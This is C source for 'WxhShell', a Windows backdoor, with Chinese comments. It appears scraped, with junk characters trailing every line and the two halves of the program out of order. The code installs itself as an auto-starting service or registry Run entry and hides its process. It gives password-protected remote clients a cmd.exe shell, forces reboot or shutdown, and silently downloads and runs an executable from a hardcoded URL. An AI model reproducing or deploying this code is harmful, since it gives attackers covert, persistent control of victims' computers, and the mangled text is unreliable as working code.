    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gp< =Gmd  
    if(Boot(SHUTDOWN)) Jj"HpK>[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v ahoSc;sw  
    else { @YL}km&Fw  
    closesocket(wsh); A|x:UQlu  
    ExitThread(0); ?F$6;N6x  
    } lxb8xY  
    break; /NBTvTI  
    } H30OUrD  
  // 获取shell @Jv# fr  
  case 's': { z%"Ai)W/{  
    CmdShell(wsh); \SYvD y]  
    closesocket(wsh); |'hLa  
    ExitThread(0); "G?9b  
    break; oh}^?p  
  } -l*A  
  // 退出 \aSz2lxEHn  
  case 'x': { Dm{Ok#@r2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T |"`8mG  
    CloseIt(wsh); r?p{L F  
    break; juno.$ 6  
    } 3o8\/-*<  
  // 离开 Y)p4]>lT+8  
  case 'q': { Gbb \h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); INNAYQ  
    closesocket(wsh); f]_mzF=&  
    WSACleanup(); w7Dt1axB  
    exit(1); G%hO\EO  
    break; wly>H]i'  
        } 5:gj&jt;)7  
  } QUP|FIpZ  
  } _PB@kH#  
wGXwzU  
  // 提示信息 .9 kyrlm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h[U7!aM  
} j@P5(3r  
  } Di.;<v#FL  
o~~9!\  
  return; 6Y?`=kAp  
} 9O >z4o  
i>GdRG&q  
// shell模块句柄 b(T@~P/  
int CmdShell(SOCKET sock)  X4I]9 t\  
{ xXOw:A'  
STARTUPINFO si; XS/n>C  
ZeroMemory(&si,sizeof(si)); V*qY"[   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1xC`ZhjcD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J:};n@<  
PROCESS_INFORMATION ProcessInfo; ,ep9V ,+|  
char cmdline[]="cmd"; =R9*;6?N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8-A|C< "  
  return 0; SfDQ;1?  
} VK4/82@5  
B)a@fmp"a  
// 自身启动模式 TG]}X\c+V|  
int StartFromService(void) oyQ0V94j  
{ /.ZaE+  
typedef struct M:|/ijp N  
{ Yw^ Gti'<  
  DWORD ExitStatus; 3]S`|#J  
  DWORD PebBaseAddress; l\aUresm  
  DWORD AffinityMask; dpn3 (  
  DWORD BasePriority; .eTk=i[N-  
  ULONG UniqueProcessId; x u,htx  
  ULONG InheritedFromUniqueProcessId; [Yvsa,2  
}   PROCESS_BASIC_INFORMATION; !aeNq82  
PW^ 8;[\QP  
PROCNTQSIP NtQueryInformationProcess; Z3`2-r_=  
}xJR.]).KW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C1ZyB"{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xMsGs  
)Pa*+ew7  
  HANDLE             hProcess; +2yF|/WW#  
  PROCESS_BASIC_INFORMATION pbi; "WP% REE!  
QK7e|M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \_>?V5(  
  if(NULL == hInst ) return 0; 7vNtv9  
@\$Keg=>:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `,m7xJZ?y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E0jUewG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A^vvST%7  
u*k*yWdr  
  if (!NtQueryInformationProcess) return 0; =LqL@5Xr  
J";=d4Sd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _#(s2.h~J  
  if(!hProcess) return 0; tQf!|]#J  
j@SYXKL~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4tnjXP8  
;_p fwa4  
  CloseHandle(hProcess); \CwtX(6.  
j`Nh7+qs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ITQ9(W Un  
if(hProcess==NULL) return 0; kYtHX~@  
25&nwz  
HMODULE hMod; -$m@*L  
char procName[255]; Zly-\ z_  
unsigned long cbNeeded; z+Z%H#9e  
qAORWc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,5kvn   
xv&S[=Dt  
  CloseHandle(hProcess); [yvt1:q  
LV\ieM  
if(strstr(procName,"services")) return 1; // 以服务启动 We\Y \*!v  
A?' H[2]w"  
  return 0; // 注册表启动 &/DOO ^  
} jQs*(=ls  
1W0.Ufl)  
// 主模块 w Oj88J)  
int StartWxhshell(LPSTR lpCmdLine) >\&= [C  
{ NkoofhZ  
  SOCKET wsl; W/a,.M  
BOOL val=TRUE; 7 y>(H<^>  
  int port=0; {70 Ou}*  
  struct sockaddr_in door; Mb~~A5  
b_ZNI0Hp@  
  if(wscfg.ws_autoins) Install(); Seg#s.  
k!9=  
port=atoi(lpCmdLine); *{Yi}d@h(  
d[" x= [f  
if(port<=0) port=wscfg.ws_port; )*Vj3Jx  
Tfr`?:yF  
  WSADATA data; \d ui`F"Cc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; unJ iE!  
f!EOYowW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IQ=CNby:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pqOA/^ar  
  door.sin_family = AF_INET; nrF!;:x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D|[/>x  
  door.sin_port = htons(port); rI *!"PL  
5'62ulwMP=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NQg'|Pt(%  
closesocket(wsl); Vv2{^ !aZ  
return 1; Fdr*xHx$P  
} 2*Va9HP!q  
f@h2;An$w  
  if(listen(wsl,2) == INVALID_SOCKET) { [' ?^>jfr  
closesocket(wsl); gh'kUZG a  
return 1; xSdN5RN  
} K_Z+]]$#  
  Wxhshell(wsl); Z~:/#?/  
  WSACleanup(); p8$\uo9YQ  
Lp!0H `L  
return 0; |$Qp0vOA}  
,RR;VKj  
} ,cPkx~w0  
[6G=yp  
// 以NT服务方式启动 {uEu >D$8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z 4\tY^NI  
{ +{ S Maq  
DWORD   status = 0; L!?v BL  
  DWORD   specificError = 0xfffffff; 2 ae w6~  
QN3 qF|))  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \)p4okpR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^4RO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~d&'Lp[3  
  serviceStatus.dwWin32ExitCode     = 0; u"*J[M~  
  serviceStatus.dwServiceSpecificExitCode = 0; ^M [#^wv,  
  serviceStatus.dwCheckPoint       = 0; =A$Lgk>|  
  serviceStatus.dwWaitHint       = 0; ?rAi=w&c  
!~?W \b\:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v^<<[I2 C  
  if (hServiceStatusHandle==0) return; i0VhG :O;  
#dHr&1(  
status = GetLastError(); $  9S>I'  
  if (status!=NO_ERROR) tN[St  
{ /L)?> tg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qwL 0~I  
    serviceStatus.dwCheckPoint       = 0; Nz3zsP$  
    serviceStatus.dwWaitHint       = 0; wEZ,49  
    serviceStatus.dwWin32ExitCode     = status; >-UD]?>  
    serviceStatus.dwServiceSpecificExitCode = specificError; BvSdp6z9Iv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \)uy"+ Z`  
    return; 7E;>E9 '  
  } $,}Qf0(S  
mgk64}K[n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +[>y O _}  
  serviceStatus.dwCheckPoint       = 0; jG =(w4+  
  serviceStatus.dwWaitHint       = 0; A J<iM)l|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X77A; US  
} jM6uT'Io  
37J\i ]  
// 处理NT服务事件,比如:启动、停止 0Ddn@!J*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u4go*#  
{ }~myf\$  
switch(fdwControl) ]lymY _ >  
{ &uv>'S#%  
case SERVICE_CONTROL_STOP: :yd=No@  
  serviceStatus.dwWin32ExitCode = 0; 5wT' ,U"+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l0eANB%Y=@  
  serviceStatus.dwCheckPoint   = 0; b$;HI7)/K  
  serviceStatus.dwWaitHint     = 0; ] dW%g?  
  { ;%v%K+}r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9vB9k@9  
  } sx<} tbG  
  return; H4P\hOK7r  
case SERVICE_CONTROL_PAUSE: '~ jy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hVQ7'@  
  break; 9m%7dsv  
case SERVICE_CONTROL_CONTINUE: e@='Q H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; & gY;`*<  
  break; THrc H  
case SERVICE_CONTROL_INTERROGATE: (k7;  
  break; EG'7}W  
}; 9m<wcZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P}ehNt*($  
} R1]v}f_I"  
3N(8| wh  
// 标准应用程序主函数 0SAG6k~x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (1QdZD|  
{ _Ym&UY.u#  
*O"%tp6  
// 获取操作系统版本 ^G ]KE8  
OsIsNt=GetOsVer(); M>`?m L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DR.3 J`?K  
nEjo,   
  // 从命令行安装 aL_;`@4  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?AqrlR]5  
BZ]&uD|f  
  // 下载执行文件 7AZ5%o  
if(wscfg.ws_downexe) { 6Y0/i,d*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?7rmwy\  
  WinExec(wscfg.ws_filenam,SW_HIDE); {jj]K.&  
} ;`X`c  
J>,'P^  
if(!OsIsNt) { fY| @{]rx  
// 如果时win9x,隐藏进程并且设置为注册表启动 v*vub#wP  
HideProc(); K8yWg\K  
StartWxhshell(lpCmdLine); &-EyM*:u!  
} B`'}&6jr.  
else $i1>?pb3  
  if(StartFromService()) Hl4vLx@  
  // 以服务方式启动 &F@tmM~  
  StartServiceCtrlDispatcher(DispatchTable); '=@-aVp  
else _*OaiEL+:  
  // 普通方式启动 *@b~f&Lx6  
  StartWxhshell(lpCmdLine); hW*^1%1  
7v4-hfN  
return 0; Jgi{7J  
} Z7K!"I  
^*$WZMMJ1  
qiwQUm{  
$G^H7|PzdC  
=========================================== BP7<^`i&  
yKX:Z4I/  
vZ1D3ytfG  
s5_1}KKCs  
HnH2u;  
BMtYM{S6  
" QrrZF.  
OI;L9\MJc  
#include <stdio.h> g%<{G/Tz  
#include <string.h> <uWJ>sg^ 6  
#include <windows.h> Gc3PN  
#include <winsock2.h> W2X+N acD  
#include <winsvc.h> }[hDg6i  
#include <urlmon.h> DbPBgD>Q  
r&j+;JM5  
#pragma comment (lib, "Ws2_32.lib") iG;d0>Sp  
#pragma comment (lib, "urlmon.lib") 9I^H)~S  
J\Oc]gi\L  
#define MAX_USER   100 // 最大客户端连接数 L@^ !(  
#define BUF_SOCK   200 // sock buffer ]9~#;M%1  
#define KEY_BUFF   255 // 输入 buffer <+mO$0h"r  
5jj5 7j"  
#define REBOOT     0   // 重启 %oSfL;W7  
#define SHUTDOWN   1   // 关机 j3V"d3)  
R[ +]d|L  
#define DEF_PORT   5000 // 监听端口 MOH,'@&6^  
T8M[eSbZ  
#define REG_LEN     16   // 注册表键长度 5BGv^Qb_2  
#define SVC_LEN     80   // NT服务名长度 <try%p|f  
/ab K/8ZQ  
// 从dll定义API E`sapk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ej??j<]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G%W03c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v~W6yjp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +(=[M]5#n  
S4uR \|  
// wxhshell配置信息 #q^>qX y  
struct WSCFG { :jN;l  
  int ws_port;         // 监听端口 G41$oalQ1  
  char ws_passstr[REG_LEN]; // 口令 G1n>@Y'j''  
  int ws_autoins;       // 安装标记, 1=yes 0=no g'l7Jr3  
  char ws_regname[REG_LEN]; // 注册表键名 Q%b46"  
  char ws_svcname[REG_LEN]; // 服务名 vp9E}ga  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C9^elcdv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `zvT5=*-#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u.xA}yVS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U%S NROj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O.m.]%URW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k%bTs+] *  
(HP={MrV  
}; *^&iw$Qx3  
?),K=E+=U  
// default Wxhshell configuration k+>p!1  
struct WSCFG wscfg={DEF_PORT, U]R|ej  
    "xuhuanlingzhe", :[$i~V  
    1, *TMM:w|1  
    "Wxhshell", `:^)"#z)  
    "Wxhshell", X#\P.$  
            "WxhShell Service", 0^tJX1L  
    "Wrsky Windows CmdShell Service", #7E&16Fk  
    "Please Input Your Password: ", H6+st`{  
  1, BRQ5  
  "http://www.wrsky.com/wxhshell.exe", nh_xbo5L[  
  "Wxhshell.exe" Zq6ebj  
    }; @rDv (W  
4h2bk\z-  
// 消息定义模块 sjgxx7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q0oDl8~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '\3.isTsx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DW;.R<8  
char *msg_ws_ext="\n\rExit."; l>Oe ,`9O  
char *msg_ws_end="\n\rQuit."; PeR<FSF ,i  
char *msg_ws_boot="\n\rReboot..."; }Q,C;!'"  
char *msg_ws_poff="\n\rShutdown..."; r|sy_Sk/{  
char *msg_ws_down="\n\rSave to "; <MDFf nj  
c9TkIe  
char *msg_ws_err="\n\rErr!"; >5YYij5Aj  
char *msg_ws_ok="\n\rOK!"; s!zr>N"  
1,sO =p)Yg  
char ExeFile[MAX_PATH]; m0K2p~  
int nUser = 0; uc `rt"  
HANDLE handles[MAX_USER]; ieK'<%dxF  
int OsIsNt; ]&%X(jWyn  
z@40 g)R2A  
SERVICE_STATUS       serviceStatus; SZ1pf#w!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _[6+FdS],  
FV<^q|K/(]  
// 函数声明 l[ OQo|_  
int Install(void); )I1V 2k$n  
int Uninstall(void); i2Iu 2  
int DownloadFile(char *sURL, SOCKET wsh); sZ(Q4)r  
int Boot(int flag); ?_`P;}4#  
void HideProc(void); n ;fTx  
int GetOsVer(void); @C6DOB  
int Wxhshell(SOCKET wsl); ?%TM7Z4  
void TalkWithClient(void *cs); - &LZle&M  
int CmdShell(SOCKET sock); OjL"0imN6  
int StartFromService(void); _O'rZ5}&  
int StartWxhshell(LPSTR lpCmdLine); CpJXLc3_d5  
ny;)+v?mN\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); doUqUak  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y#SD-# I-  
u K&_IE}  
// 数据结构和表定义 t`/RcAwA  
SERVICE_TABLE_ENTRY DispatchTable[] = GVPEene  
{ fxCPGj  
{wscfg.ws_svcname, NTServiceMain}, 5EZr"  
{NULL, NULL} P xuz {  
}; N=}Z#  
R yIaT  
// 自我安装 5nlyb,"^g  
int Install(void) "Kf~`0P  
{ AZm)$@e)  
  char svExeFile[MAX_PATH]; oA^ ]x>  
  HKEY key; JL+[1=uE1L  
  strcpy(svExeFile,ExeFile); 5|H(N}S_  
t@mw f3,  
// 如果是win9x系统,修改注册表设为自启动 5+PBS)pJ]%  
if(!OsIsNt) { /VOST^z!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RAJ |#I1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~V)VGGOL$v  
  RegCloseKey(key); mCP +7q7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +(hwe jyC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sjbC~Te--  
  RegCloseKey(key); jF2GHyB  
  return 0; #pxet  
    } |r!Qhb.!  
  } ;C@^wI  
} .ceU @^  
else { Ptxc9~k  
jT_Tx\k  
// 如果是NT以上系统,安装为系统服务 yru}f;1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n!,TBCNX  
if (schSCManager!=0) ' =s*DL`0  
{ m(Xr5hw:6  
  SC_HANDLE schService = CreateService &_TjRj"  
  ( Q#AHEm{9;s  
  schSCManager, s~'C'B?  
  wscfg.ws_svcname,  l3 Bc g  
  wscfg.ws_svcdisp, I>\?t4t  
  SERVICE_ALL_ACCESS, ))-M+CA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |L#r)$n{1  
  SERVICE_AUTO_START, 6aK2 {-+  
  SERVICE_ERROR_NORMAL, tWy<9TF  
  svExeFile, 'cCj@bZ9X  
  NULL, [WSIC *|;  
  NULL, ]fmfX  
  NULL, Nv#, s_hG  
  NULL, o*S $j Cf?  
  NULL X Ow^"=Oa[  
  ); MPw7!G(qj  
  if (schService!=0) L{ ^@O0S  
  { }Bg<Fm  
  CloseServiceHandle(schService); icbYfgQ  
  CloseServiceHandle(schSCManager); YZ+g<HXB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $CV'p/^En  
  strcat(svExeFile,wscfg.ws_svcname); >dH*FZ:c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Uv$ u\D+@[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O c3%pb;  
  RegCloseKey(key); FK('E3PG  
  return 0; tA n6pGp  
    } y.NArN|%  
  } %HS!^j3C%  
  CloseServiceHandle(schSCManager); _\6(4a`,  
} M?CMN.Dw  
} ph+tk5k  
m eWq9:z  
return 1; dQ"W~ig  
} ?Gu>!7  
=)>q.R9  
// 自我卸载 3`!KndY1  
int Uninstall(void) fN>|X\-  
{ J<O_N~$$*  
  HKEY key; DN_C7\CoA  
SuuS!U+i>  
if(!OsIsNt) { RlL,eU$CS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f.CI.aozW  
  RegDeleteValue(key,wscfg.ws_regname); K?I&,t_*R  
  RegCloseKey(key); x/^zNO\1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vG}oo  
  RegDeleteValue(key,wscfg.ws_regname); 6XU5T5+P^  
  RegCloseKey(key); +Ea X S  
  return 0; X Y?@^  
  } )o,0aGo>Of  
} q{(&:~M  
} !Z)^c&  
else { b DvbM  
eF\C?4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J4X35H=Z  
if (schSCManager!=0) jzw?V9Ijb  
{ \mG M#E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ji=iq=S7  
  if (schService!=0) r $2   
  { AXI:h"so  
  if(DeleteService(schService)!=0) { J8'zvH&I  
  CloseServiceHandle(schService); m @ ?e <$  
  CloseServiceHandle(schSCManager); f ebh1rUX  
  return 0; fe/6JV  
  } e8v=n@0  
  CloseServiceHandle(schService); p$ <qT^]&  
  } a06q-3zw  
  CloseServiceHandle(schSCManager); }A ^,y  
} P ie!Su`  
} |0mI3r  
h!]A(T\J  
return 1; K@hUif|([  
} 'kK%sE   
oPBjsQ  
// 从指定url下载文件 x=)$sD-3  
int DownloadFile(char *sURL, SOCKET wsh) '& :"/4@)  
{ gV;GC{pY  
  HRESULT hr; '+wTrW m~j  
char seps[]= "/"; /L^dHI]Q  
char *token; }5U f`pM8  
char *file; 6Fb~`J~s  
char myURL[MAX_PATH]; dG+xr!  
char myFILE[MAX_PATH]; ;{20Heuz  
tTt~W5lo  
strcpy(myURL,sURL); RdHR[Usm  
  token=strtok(myURL,seps); eo[^ij  
  while(token!=NULL) 7m:,-xp  
  { i/z7a%$   
    file=token; ],|B4\b;  
  token=strtok(NULL,seps); AJ u.  
  } Y}U w7\e  
b.&YUg[#  
GetCurrentDirectory(MAX_PATH,myFILE); o5uwa{v  
strcat(myFILE, "\\"); 8),Y|4  
strcat(myFILE, file); TH &B9  
  send(wsh,myFILE,strlen(myFILE),0); g~b'}^J  
send(wsh,"...",3,0); tHeLq*))  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >wwEa4   
  if(hr==S_OK) 5JXLfYTUI  
return 0; f -5ZXpWs'  
else 9m{rQ P/  
return 1; *Q?HaG|S  
dGe  
} '-=?lyKv  
I4'j_X t  
// 系统电源模块 %+~0+ev7r  
int Boot(int flag) +L6d$+  
{ ?a@l.ZM*  
  HANDLE hToken; v},sWjv  
  TOKEN_PRIVILEGES tkp; ZtDpCl_  
\ :.p8`  
  if(OsIsNt) { h>?OWI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kTV D 4Z=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zAewE@N#_  
    tkp.PrivilegeCount = 1; p20Nk$.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V5+a[`]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &PX'=UT  
if(flag==REBOOT) { 0'uj*Y{L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p WHu[Fu  
  return 0; .anL}OA_q  
} uHYI :(O  
else { q`hg@uwA{`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wlJ1,)n^2  
  return 0; b%(0AL  
} <>TBM^  
  } yyc&'J  
  else { 3B+Rx;>h  
if(flag==REBOOT) { iKwVYL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \=)h6AG  
  return 0; r+Y1m\  
} x{E[qH_1Fm  
else { ln5On_Wm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^_uzr}LE`  
  return 0; =RA6p  
} aF:LL>H  
} XJ"9D#"a>  
q2y:b qLWl  
return 1; @p;4g_F  
} A:f+x|[  
eR CGr?e4  
// win9x进程隐藏模块 P\JpE  
void HideProc(void) j*"s~8u4  
{ H UjmJu6f{  
rYl37.QE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sdLFBiR  
  if ( hKernel != NULL ) {<@~;iq  
  { /.r($S g^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B}W^s;h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1K>4 i. X  
    FreeLibrary(hKernel); Rjf |  
  } 8'y|cF%U  
8Bhng;jX  
return; u8*0r{kOH  
} m N{$z<r  
kcle|B  
// 获取操作系统版本 ;1KhUf;&F  
int GetOsVer(void) 3; A1[E6K  
{ y$ WS;#  
  OSVERSIONINFO winfo; jVDNThm+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1na[=Q2  
  GetVersionEx(&winfo); g!$ "CX%8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a <3oyY'  
  return 1; ^P[*yf  
  else UxW~yk  
  return 0; 7 ?Fl [FW$  
} QO8/?^d  
 [7bY(  
// 客户端句柄模块 W6pS.}  
int Wxhshell(SOCKET wsl) jV(IS D  
{ \vI_%su1N  
  SOCKET wsh; |l9AgwDg  
  struct sockaddr_in client; %UmE=V  
  DWORD myID; UJb7v:^  
{1o=/&  
  while(nUser<MAX_USER) ^/c|s!U^  
{ U5Y*xm<  
  int nSize=sizeof(client); @:Ns`+ W*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Th8xh=F[  
  if(wsh==INVALID_SOCKET) return 1; ZrTq)BZ  
thh, V   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]C!u~A\jq  
if(handles[nUser]==0) m>iuy:ti  
  closesocket(wsh); ~Sh}\&3p  
else '@$?A>.cj  
  nUser++; \R~Lf+q  
  } dgO2fI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >@t]M`#&h  
3yTBkFI!  
  return 0; :7R\"@V4  
} sIy  LW  
U}UIbJD*=  
// 关闭 socket ?f%@8%px  
void CloseIt(SOCKET wsh) |PWLFiT(>  
{ Qwb@3{  
closesocket(wsh); IcA]<}0!"v  
nUser--; r@_;L>  
ExitThread(0); 8'zwy d3  
} c6e?)(V>  
_%t w#cM  
// 客户端请求句柄 U<*dDE~z  
void TalkWithClient(void *cs) *@O;IiSE  
{ 9qw~]W~Nm  
^!A{ 4NV  
  SOCKET wsh=(SOCKET)cs; }Iu6]?|'  
  char pwd[SVC_LEN]; "$WZd  
  char cmd[KEY_BUFF]; G",+jR]  
char chr[1]; D,NjDIG8  
int i,j; rP*?a~<  
*6uiOtH  
  while (nUser < MAX_USER) { Fr3Q"(  
j*CnnM#n  
if(wscfg.ws_passstr) { #oHHKl=M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UOa{J|k>h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q} / :  
  //ZeroMemory(pwd,KEY_BUFF); v'|Dj^3[  
      i=0; }+SnY8A=KZ  
  while(i<SVC_LEN) { sUg7  
3c6<JW  
  // 设置超时 le*pd+>j  
  fd_set FdRead; W] RxRdY6[  
  struct timeval TimeOut; d@C93VYp  
  FD_ZERO(&FdRead); L:~ "Vw6]_  
  FD_SET(wsh,&FdRead); M,l Ib9  
  TimeOut.tv_sec=8; NWTsL OIm  
  TimeOut.tv_usec=0; #KiRH* giU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^fRA$t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AR&u9Y)I  
^.k}YSWut  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GLEGyT?~  
  pwd=chr[0]; zhFGMF1  
  if(chr[0]==0xd || chr[0]==0xa) { FQ);el'_V  
  pwd=0; f}o`3v*z  
  break; {Bu^%JEn  
  } >ztv3^w  
  i++; e\\ I,  
    } /H}83 C  
).k=[@@V  
  // 如果是非法用户,关闭 socket p`Ax)L\f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `2GHB@S"k  
} 2 &R-z G  
;hRo} +\l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4O2O0\o:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b8>r UGA{  
*ozeoX'5D  
while(1) { ZVeY`o(uE  
la f b^  
  ZeroMemory(cmd,KEY_BUFF); 94H 6`  
d'PjO-"g  
      // 自动支持客户端 telnet标准   q4Q1Ib-<2  
  j=0; {gzL}KL  
  while(j<KEY_BUFF) { $=t&NM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xaejG/'iK  
  cmd[j]=chr[0]; 7Qz Uw  
  if(chr[0]==0xa || chr[0]==0xd) { 3. Kh  
  cmd[j]=0; !5pnl0DK*  
  break; O"^KX5  
  } gR%fv  
  j++; =p$1v{L8  
    } -fYgTst2  
)| 3?7?X  
  // 下载文件 mL ]zkD_  
  if(strstr(cmd,"http://")) { Fj|C+;Q.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h%pgdix  
  if(DownloadFile(cmd,wsh)) $:SHZe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k/cQJz  
  else s-Bpd#G>/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {73Z$w1%  
  } |I6\_K.=L  
  else { eVn]/.d  
